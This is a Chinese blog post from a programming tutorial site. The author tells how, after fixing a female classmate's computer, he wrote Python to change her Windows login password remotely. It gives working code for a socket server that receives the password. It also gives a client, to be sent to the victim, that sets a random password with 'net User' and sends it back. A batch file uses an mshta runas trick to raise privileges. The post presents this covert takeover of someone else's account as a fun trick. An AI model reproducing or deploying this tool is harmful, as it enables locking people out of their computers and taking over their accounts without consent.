Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
pydev使用wxpython找不到路径的解决方法
Feb 10 Python
Python的SQLAlchemy框架使用入门
Apr 29 Python
尝试用最短的Python代码来实现服务器和代理服务器
Jun 23 Python
在Linux命令行终端中使用python的简单方法(推荐)
Jan 23 Python
CentOS中升级Python版本的方法详解
Jul 10 Python
Python多线程中阻塞(join)与锁(Lock)使用误区解析
Apr 27 Python
Python神奇的内置函数locals的实例讲解
Feb 22 Python
Django框架实现的分页demo示例
May 25 Python
python通过TimedRotatingFileHandler按时间切割日志
Jul 17 Python
python如何使用腾讯云发送短信
Sep 17 Python
python eventlet绿化和patch原理
Nov 21 Python
使用python实现学生信息管理系统
Feb 25 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
jQuery 源码分析笔记
2011/05/25 PHP
PHP mcrypt可逆加密算法分析
2011/07/19 PHP
通达OA公共代码 php常用检测函数
2011/12/14 PHP
深入解析phpCB批量转换的代码示例
2013/06/27 PHP
thinkphp框架实现删除和批量删除
2016/06/29 PHP
Apache PHP MySql安装配置图文教程
2016/08/27 PHP
功能强大的PHP发邮件类
2016/08/29 PHP
js focus不起作用的解决方法(主要是因为dom元素是否加载完成)
2010/11/05 Javascript
40款非常棒的jQuery 插件和制作教程(系列二)
2011/11/02 Javascript
jquery.blockUI.js上传滚动等待效果实现思路及代码
2013/03/18 Javascript
深入理解JavaScript编程中的同步与异步机制
2015/06/24 Javascript
jQuery+CSS实现的网页二级下滑菜单效果
2015/08/25 Javascript
jQuery复合事件结合toggle()方法的用法示例
2017/06/10 jQuery
web前端vue实现插值文本和输出原始html
2018/01/19 Javascript
ES6下子组件调用父组件的方法(推荐)
2018/02/23 Javascript
Node.js静态服务器的实现方法
2018/02/28 Javascript
vue打包的时候自动将px转成rem的操作方法
2018/06/20 Javascript
atom-design(Vue.js移动端组件库)手势组件使用教程
2019/05/16 Javascript
【Python】Python的urllib模块、urllib2模块批量进行网页下载文件
2016/11/19 Python
十个Python练手的实战项目,学会这些Python就基本没问题了(推荐)
2019/04/26 Python
matplotlib.pyplot画图并导出保存的实例
2019/12/07 Python
Python3.6安装卸载、执行命令、执行py文件的方法详解
2020/02/20 Python
django xadmin中form_layout添加字段显示方式
2020/03/30 Python
Python ArgumentParse的subparser用法说明
2020/04/20 Python
通过代码实例了解Python sys模块
2020/09/14 Python
CSS3的颜色渐变效果的示例代码
2017/09/29 HTML / CSS
html5标记文字_动力节点Java学院整理
2017/07/11 HTML / CSS
台湾网购生鲜第一品牌:i3Fresh爱上新鲜
2017/10/26 全球购物
Omio美国:全欧洲低价大巴、火车和航班搜索和比价
2017/11/08 全球购物
银行财务部实习生的自我鉴定
2013/11/27 职场文书
人力资源部门的主要职能
2014/02/22 职场文书
运动会800米加油稿
2014/02/22 职场文书
世界文化遗产导游词
2019/08/07 职场文书
《狼王梦》读后感:可怜天下父母心
2019/11/01 职场文书
SSM VUE Axios详解
2021/10/05 Vue.js
Python中使用tkFileDialog实现文件选择、保存和路径选择
2022/05/20 Python